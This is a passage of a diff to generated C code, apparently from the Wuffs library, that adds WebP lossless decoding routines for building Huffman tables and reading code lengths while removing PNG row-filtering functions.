-+ uint32_t v_last_used_symbol = 0; -+ uint32_t v_subscription_weight = 0; -+ uint32_t v_subscription_total = 0; -+ uint32_t v_curr_code = 0; -+ uint32_t v_next_codes[9] = {0}; -+ uint32_t v_n_branches = 0; -+ uint32_t v_h = 0; -+ uint32_t v_children = 0; -+ uint16_t v_node = 0; -+ -+ v_symbol = 0u; -+ while (v_symbol < 19u) { -+ v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); -+ if (v_code_len != 0u) { -+ v_histogram[v_code_len] += 1u; -+ v_n_used_symbols += 1u; -+ v_last_used_symbol = v_symbol; -+ } -+ v_symbol += 1u; -+ } -+ if (v_n_used_symbols < 1u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); -+ } else if (v_n_used_symbols == 1u) { -+ self->private_data.f_code_lengths_huffman_nodes[0u] = ((uint16_t)((v_last_used_symbol | 32768u))); -+ return wuffs_base__make_status(NULL); -+ } -+ v_subscription_weight = 16384u; -+ v_code_len = 1u; -+ while (true) { -+ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); -+ v_next_codes[(v_code_len + 1u)] = v_curr_code; -+ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); -+ v_subscription_weight >>= 1u; -+ if (v_code_len >= 7u) { -+ break; -+ } -+ v_code_len += 1u; -+ } -+ if (v_subscription_total > 32768u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); -+ } else if (v_subscription_total < 32768u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); -+ } -+ self->private_data.f_code_lengths_huffman_nodes[0u] = 0u; -+ v_symbol = 0u; -+ while (v_symbol < 19u) { -+ v_code_len = ((uint32_t)(self->private_impl.f_code_length_code_lengths[v_symbol])); -+ if (v_code_len > 0u) { -+ v_code_bits = v_next_codes[v_code_len]; -+ v_next_codes[v_code_len] += 1u; -+ v_code_bits <<= (32u - v_code_len); -+ v_h = 0u; -+ while (v_code_len > 0u) { -+ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; -+ if (v_node == 0u) { -+ v_children = ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))); -+ v_children = wuffs_base__u32__min(v_children, 35u); -+ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)(v_children)); -+ self->private_data.f_code_lengths_huffman_nodes[(v_children + 0u)] = 0u; -+ self->private_data.f_code_lengths_huffman_nodes[(v_children + 1u)] = 0u; -+ v_h = (v_children + (v_code_bits >> 31u)); -+ v_n_branches += 1u; -+ } else { -+ v_children = ((uint32_t)(v_node)); -+ v_h = (wuffs_base__u32__min(v_children, 35u) + (v_code_bits >> 31u)); -+ } -+ v_code_bits <<= 1u; -+ v_code_len -= 1u; -+ } -+ self->private_data.f_code_lengths_huffman_nodes[v_h] = ((uint16_t)((v_symbol | 32768u))); -+ } -+ v_symbol += 1u; -+ } -+ return wuffs_base__make_status(NULL); - } - -+// -------- func webp.decoder.build_huffman_nodes -+ - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint64_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row0 = 0; -- uint64_t v_dst_bytes_per_row1 = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- uint32_t v_y = 0; -- wuffs_base__slice_u8 v_dst = {0}; -- uint8_t v_filter = 0; -- wuffs_base__slice_u8 v_curr_row = {0}; -- wuffs_base__slice_u8 v_prev_row = {0}; -- -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+wuffs_webp__decoder__build_huffman_nodes( -+ wuffs_webp__decoder* self, -+ uint32_t a_hg, -+ uint32_t a_ht) { -+ uint32_t v_base_offset = 0; -+ uint32_t v_code_bits = 0; -+ uint32_t v_code_len = 0; -+ uint32_t v_symbol = 0; -+ uint32_t v_histogram[16] = {0}; -+ uint32_t v_n_used_symbols = 0; -+ uint32_t v_last_used_symbol = 0; -+ uint32_t v_subscription_weight = 0; -+ uint32_t v_subscription_total = 0; -+ uint32_t v_curr_code = 0; -+ uint32_t v_next_codes[17] = {0}; -+ uint32_t v_n_branches = 0; -+ uint32_t v_h = 0; -+ uint32_t v_children = 0; -+ uint16_t v_node = 0; -+ -+ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); -+ v_symbol = 0u; -+ while (v_symbol < self->private_impl.f_ht_n_symbols) { -+ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); -+ if (v_code_len != 0u) { -+ v_histogram[v_code_len] += 1u; -+ v_n_used_symbols += 1u; -+ v_last_used_symbol = v_symbol; -+ } -+ v_symbol += 1u; -+ } -+ if (v_n_used_symbols < 1u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); -+ } else if (v_n_used_symbols == 1u) { -+ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_last_used_symbol | 32768u))); -+ return wuffs_base__make_status(NULL); - } -- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -- v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); -- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { -- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -- 0u, -- 0u, -- v_dst_bytes_per_row1, -- ((uint64_t)(v_tab.height))); -+ v_subscription_weight = 16384u; -+ v_code_len = 1u; -+ while (true) { -+ v_curr_code = ((uint32_t)(((uint32_t)(v_curr_code + v_histogram[v_code_len])) << 1u)); -+ v_next_codes[(v_code_len + 1u)] = v_curr_code; -+ v_subscription_total += ((uint32_t)(v_subscription_weight * v_histogram[v_code_len])); -+ v_subscription_weight >>= 1u; -+ if (v_code_len >= 15u) { -+ break; -+ } -+ v_code_len += 1u; -+ } -+ if (v_subscription_total > 32768u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_over_subscribed); -+ } else if (v_subscription_total < 32768u) { -+ return wuffs_base__make_status(wuffs_webp__error__bad_huffman_code_under_subscribed); -+ } -+ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = 0u; -+ v_symbol = 0u; -+ while (v_symbol < self->private_impl.f_ht_n_symbols) { -+ v_code_len = ((uint32_t)(((uint16_t)(self->private_data.f_code_lengths[v_symbol] & 15u)))); -+ if (v_code_len != 0u) { -+ v_code_bits = v_next_codes[v_code_len]; -+ v_next_codes[v_code_len] += 1u; -+ v_code_bits <<= (32u - v_code_len); -+ v_h = v_base_offset; -+ while (v_code_len > 0u) { -+ v_node = self->private_data.f_huffman_nodes[a_hg][v_h]; -+ if (v_node == 0u) { -+ v_children = ((uint32_t)(v_base_offset + ((uint32_t)(1u + ((uint32_t)(2u * v_n_branches)))))); -+ v_children = wuffs_base__u32__min(v_children, 6265u); -+ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)(v_children)); -+ self->private_data.f_huffman_nodes[a_hg][(v_children + 0u)] = 0u; -+ self->private_data.f_huffman_nodes[a_hg][(v_children + 1u)] = 0u; -+ v_h = (v_children + (v_code_bits >> 31u)); -+ v_n_branches += 1u; -+ } else { -+ v_children = ((uint32_t)(v_node)); -+ v_h = (wuffs_base__u32__min(v_children, 6265u) + (v_code_bits >> 31u)); -+ } -+ v_code_bits <<= 1u; -+ v_code_len -= 1u; -+ } -+ self->private_data.f_huffman_nodes[a_hg][v_h] = ((uint16_t)((v_symbol | 32768u))); -+ } -+ v_symbol += 1u; - } -- if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { -- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -- v_dst_bytes_per_row0, -- 0u, -- ((uint64_t)(v_tab.width)), -- ((uint64_t)(v_tab.height))); -- } else { -- v_tab = wuffs_base__table_u8__subtable_ij(v_tab, -- 0u, -- 0u, -- 0u, -- 0u); -+ return wuffs_base__make_status(NULL); -+} -+ -+// -------- func webp.decoder.build_code_lengths -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_webp__decoder__build_code_lengths( -+ wuffs_webp__decoder* self, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_use_length = 0; -+ uint32_t v_length_n_bits = 0; -+ uint32_t v_length = 0; -+ uint16_t v_prev_code_length = 0; -+ uint32_t v_h = 0; -+ uint32_t v_s = 0; -+ uint32_t v_s_max = 0; -+ uint16_t v_node = 0; -+ uint32_t v_symbol = 0; -+ uint16_t v_repeat_value = 0; -+ uint32_t v_repeat_n_bits = 0; -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- v_y = self->private_impl.f_frame_rect_y0; -- while (v_y < self->private_impl.f_frame_rect_y1) { -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); -- if (1u > ((uint64_t)(a_workbuf.len))) { -- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -+ -+ uint32_t coro_susp_point = self->private_impl.p_build_code_lengths; -+ if (coro_susp_point) { -+ v_length_n_bits = self->private_data.s_build_code_lengths.v_length_n_bits; -+ v_prev_code_length = self->private_data.s_build_code_lengths.v_prev_code_length; -+ v_s = self->private_data.s_build_code_lengths.v_s; -+ v_s_max = self->private_data.s_build_code_lengths.v_s_max; -+ v_node = self->private_data.s_build_code_lengths.v_node; -+ v_repeat_value = self->private_data.s_build_code_lengths.v_repeat_value; -+ v_repeat_n_bits = self->private_data.s_build_code_lengths.v_repeat_n_bits; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_0 = *iop_a_src++; -+ v_c8 = t_0; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; - } -- v_filter = a_workbuf.ptr[0u]; -- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); -- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { -- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -+ v_use_length = (self->private_impl.f_bits & 1u); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ self->private_impl.f_ht_code_lengths_remaining = self->private_impl.f_ht_n_symbols; -+ if (v_use_length != 0u) { -+ if (self->private_impl.f_n_bits < 3u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ if (self->private_impl.f_n_bits >= 3u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_length_n_bits = (((self->private_impl.f_bits & 7u) * 2u) + 2u); -+ self->private_impl.f_bits >>= 3u; -+ self->private_impl.f_n_bits -= 3u; -+ while (self->private_impl.f_n_bits < v_length_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_2 = *iop_a_src++; -+ v_c8 = t_2; -+ } -+ if (self->private_impl.f_n_bits >= v_length_n_bits) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_length = ((self->private_impl.f_bits & ((((uint32_t)(1u)) << v_length_n_bits) - 1u)) + 2u); -+ self->private_impl.f_bits >>= v_length_n_bits; -+ self->private_impl.f_n_bits -= v_length_n_bits; -+ if (v_length > self->private_impl.f_ht_n_symbols) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); -+ goto exit; -+ } -+ self->private_impl.f_ht_code_lengths_remaining = v_length; - } -- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); -- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); -- if (v_filter == 0u) { -- } else if (v_filter == 1u) { -- wuffs_png__decoder__filter_1(self, v_curr_row); -- } else if (v_filter == 2u) { -- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); -- } else if (v_filter == 3u) { -- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); -- } else if (v_filter == 4u) { -- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); -- } else { -- return wuffs_base__make_status(wuffs_png__error__bad_filter); -+ v_prev_code_length = 8u; -+ while (v_s < self->private_impl.f_ht_n_symbols) { -+ if (self->private_impl.f_ht_code_lengths_remaining <= 0u) { -+ while (v_s < self->private_impl.f_ht_n_symbols) { -+ self->private_data.f_code_lengths[v_s] = 0u; -+ v_s += 1u; -+ } -+ break; -+ } -+ self->private_impl.f_ht_code_lengths_remaining -= 1u; -+ v_h = 0u; -+ while (true) { -+ v_node = self->private_data.f_code_lengths_huffman_nodes[v_h]; -+ if (v_node >= 32768u) { -+ break; -+ } else if (v_node > 35u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); -+ goto exit; -+ } -+ if (self->private_impl.f_n_bits < 1u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_3 = *iop_a_src++; -+ v_c8 = t_3; -+ } -+ self->private_impl.f_bits = ((uint32_t)(v_c8)); -+ self->private_impl.f_n_bits = 8u; -+ } -+ v_h = (((uint32_t)(v_node)) + (self->private_impl.f_bits & 1u)); -+ self->private_impl.f_bits >>= 1u; -+ self->private_impl.f_n_bits -= 1u; -+ } -+ v_symbol = ((uint32_t)(((uint16_t)(v_node & 32767u)))); -+ if (v_symbol == 0u) { -+ self->private_data.f_code_lengths[v_s] = 0u; -+ v_s += 1u; -+ continue; -+ } else if (v_symbol < 16u) { -+ v_prev_code_length = ((uint16_t)(v_symbol)); -+ self->private_data.f_code_lengths[v_s] = v_prev_code_length; -+ v_s += 1u; -+ continue; -+ } else if (v_symbol == 16u) { -+ v_repeat_value = v_prev_code_length; -+ } else { -+ v_repeat_value = 0u; -+ } -+ v_repeat_n_bits = ((uint32_t)(WUFFS_WEBP__REPEAT_N_BITS[(v_symbol & 3u)])); -+ v_s_max = ((uint32_t)(((uint32_t)(WUFFS_WEBP__REPEAT_COUNTS[(v_symbol & 3u)])) + v_s)); -+ if (self->private_impl.f_n_bits < v_repeat_n_bits) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_4 = *iop_a_src++; -+ v_c8 = t_4; -+ } -+ if (self->private_impl.f_n_bits >= v_repeat_n_bits) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); -+ goto exit; -+ } -+ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); -+ self->private_impl.f_n_bits += 8u; -+ } -+ v_s_max += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_repeat_n_bits) - 1u)); -+ self->private_impl.f_bits >>= v_repeat_n_bits; -+ self->private_impl.f_n_bits -= v_repeat_n_bits; -+ if (v_s_max > self->private_impl.f_ht_n_symbols) { -+ status = wuffs_base__make_status(wuffs_webp__error__bad_huffman_code); -+ goto exit; -+ } -+ while (v_s < v_s_max) { -+ self->private_data.f_code_lengths[v_s] = v_repeat_value; -+ v_s += 1u; -+ } - } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); -- v_prev_row = v_curr_row; -- v_y += 1u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_build_code_lengths = 0; -+ goto exit; - } -- return wuffs_base__make_status(NULL); -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_build_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_build_code_lengths.v_length_n_bits = v_length_n_bits; -+ self->private_data.s_build_code_lengths.v_prev_code_length = v_prev_code_length; -+ self->private_data.s_build_code_lengths.v_s = v_s; -+ self->private_data.s_build_code_lengths.v_s_max = v_s_max; -+ self->private_data.s_build_code_lengths.v_node = v_node; -+ self->private_data.s_build_code_lengths.v_repeat_value = v_repeat_value; -+ self->private_data.s_build_code_lengths.v_repeat_n_bits = v_repeat_n_bits; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; - } - --// -------- func png.decoder.filter_and_swizzle_tricky -+// -------- func webp.decoder.decode_pixels_slow - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle_tricky( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf) { -- wuffs_base__pixel_format v_dst_pixfmt = {0}; -- uint32_t v_dst_bits_per_pixel = 0; -- uint64_t v_dst_bytes_per_pixel = 0; -- uint64_t v_dst_bytes_per_row1 = 0; -- wuffs_base__slice_u8 v_dst_palette = {0}; -- wuffs_base__table_u8 v_tab = {0}; -- uint64_t v_src_bytes_per_pixel = 0; -+wuffs_webp__decoder__decode_pixels_slow( -+ wuffs_webp__decoder* self, -+ wuffs_base__slice_u8 a_dst, -+ wuffs_base__io_buffer* a_src, -+ uint32_t a_width, -+ uint32_t a_height, -+ wuffs_base__slice_u8 a_tile_data, -+ uint32_t a_tile_size_log2) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint64_t v_p = 0; -+ uint64_t v_p_max = 0; -+ uint32_t v_tile_size_log2 = 0; -+ uint32_t v_width_in_tiles = 0; - uint32_t v_x = 0; - uint32_t v_y = 0; -- uint64_t v_i = 0; -- wuffs_base__slice_u8 v_dst = {0}; -- uint8_t v_filter = 0; -- wuffs_base__slice_u8 v_s = {0}; -- wuffs_base__slice_u8 v_curr_row = {0}; -- wuffs_base__slice_u8 v_prev_row = {0}; -- uint8_t v_bits_unpacked[8] = {0}; -- uint8_t v_bits_packed = 0; -- uint8_t v_packs_remaining = 0; -- uint8_t v_multiplier = 0; -- uint8_t v_shift = 0; -+ uint32_t v_i = 0; -+ uint32_t v_hg = 0; -+ uint32_t v_h = 0; -+ uint16_t v_node = 0; -+ uint32_t v_pixel_g = 0; -+ uint32_t v_color = 0; -+ wuffs_base__slice_u8 v_dst_pixel = {0}; -+ uint32_t v_back_ref_len_n_bits = 0; -+ uint32_t v_back_ref_len_minus_1 = 0; -+ uint32_t v_back_ref_dist_n_bits = 0; -+ uint32_t v_back_ref_dist_sym = 0; -+ uint32_t v_back_ref_dist_premap_minus_1 = 0; -+ uint32_t v_back_ref_dist_minus_1 = 0; -+ uint32_t v_dm = 0; -+ uint32_t v_dx = 0; -+ uint32_t v_dy = 0; -+ uint64_t v_p_end = 0; -+ uint64_t v_dist4 = 0; -+ uint64_t v_q = 0; -+ wuffs_base__slice_u8 v_color_cache_pixels = {0}; -+ uint64_t v_color_cache_p = 0; -+ uint32_t v_color_cache_shift = 0; - -- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -- if ((v_dst_bits_per_pixel & 7u) != 0u) { -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -- } -- v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -- v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); -- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -- v_src_bytes_per_pixel = 1u; -- if (self->private_impl.f_depth >= 8u) { -- v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)((self->private_impl.f_depth >> 3u)))); -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; - } -- if (self->private_impl.f_chunk_type_array[0u] == 73u) { -- v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); -- } else { -- v_y = self->private_impl.f_frame_rect_y0; -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_pixels_slow; -+ if (coro_susp_point) { -+ v_p = self->private_data.s_decode_pixels_slow.v_p; -+ v_p_max = self->private_data.s_decode_pixels_slow.v_p_max; -+ v_tile_size_log2 = self->private_data.s_decode_pixels_slow.v_tile_size_log2; -+ v_width_in_tiles = self->private_data.s_decode_pixels_slow.v_width_in_tiles; -+ v_x = self->private_data.s_decode_pixels_slow.v_x; -+ v_y = self->private_data.s_decode_pixels_slow.v_y; -+ v_hg = self->private_data.s_decode_pixels_slow.v_hg; -+ v_node = self->private_data.s_decode_pixels_slow.v_node; -+ v_color = self->private_data.s_decode_pixels_slow.v_color; -+ v_back_ref_len_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits; -+ v_back_ref_len_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1; -+ v_back_ref_dist_n_bits = self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits; -+ v_back_ref_dist_premap_minus_1 = self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1; -+ v_color_cache_p = self->private_data.s_decode_pixels_slow.v_color_cache_p; - } -- while (v_y < self->private_impl.f_frame_rect_y1) { -- v_dst = wuffs_base__table_u8__row_u32(v_tab, v_y); -- if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { -- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); -- } -- if (1u > ((uint64_t)(a_workbuf.len))) { -- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -- } -- v_filter = a_workbuf.ptr[0u]; -- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); -- if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { -- return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); -- } -- v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); -- a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); -- if (v_filter == 0u) { -- } else if (v_filter == 1u) { -- wuffs_png__decoder__filter_1(self, v_curr_row); -- } else if (v_filter == 2u) { -- wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); -- } else if (v_filter == 3u) { -- wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); -- } else if (v_filter == 4u) { -- wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); -- } else { -- return wuffs_base__make_status(wuffs_png__error__bad_filter); -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ v_p_max = ((uint64_t)((4u * a_width * a_height))); -+ if (((uint64_t)(a_dst.len)) < v_p_max) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); -+ goto exit; - } -- v_s = v_curr_row; -- if (self->private_impl.f_chunk_type_array[0u] == 73u) { -- v_x = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][2u])); -+ if (a_tile_size_log2 != 0u) { -+ v_tile_size_log2 = a_tile_size_log2; -+ v_width_in_tiles = ((a_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); - } else { -- v_x = self->private_impl.f_frame_rect_x0; -+ v_tile_size_log2 = 31u; -+ v_width_in_tiles = 1u; - } -- if (self->private_impl.f_depth == 8u) { -- while (v_x < self->private_impl.f_frame_rect_x1) { -- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); -- if (v_i <= ((uint64_t)(v_dst.len))) { -- if (self->private_impl.f_color_type == 4u) { -- if (2u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[0u]; -- v_bits_unpacked[1u] = v_s.ptr[0u]; -- v_bits_unpacked[2u] = v_s.ptr[0u]; -- v_bits_unpacked[3u] = v_s.ptr[1u]; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -- } -- } else if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { -- if (self->private_impl.f_color_type == 0u) { -- if (1u <= ((uint64_t)(v_s.len))) { -- v_bits_unpacked[0u] = v_s.ptr[0u]; -- v_bits_unpacked[1u] = v_s.ptr[0u]; -- v_bits_unpacked[2u] = v_s.ptr[0u]; -- v_bits_unpacked[3u] = 255u; -- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); -- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | -- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | -- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | -- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { -- v_bits_unpacked[0u] = 0u; -- v_bits_unpacked[1u] = 0u; -- v_bits_unpacked[2u] = 0u; -- v_bits_unpacked[3u] = 0u; -- } -- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); -+ while (v_p < v_p_max) { -+ v_i = ((uint32_t)(((uint32_t)(((uint32_t)(((uint32_t)((v_y >> v_tile_size_log2) * v_width_in_tiles)) + (v_x >> v_tile_size_log2))) * 4u)) + 1u)); -+ if (((uint64_t)(v_i)) < ((uint64_t)(a_tile_data.len))) { -+ v_hg = ((uint32_t)(a_tile_data.ptr[((uint64_t)(v_i))])); -+ } -+ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[0u])); -+ while (true) { -+ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; -+ if (v_node >= 32768u) { -+ break; -+ } else if (v_node > 6265u) { -+ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_huffman_code); -+ goto exit; -+ } -+ if 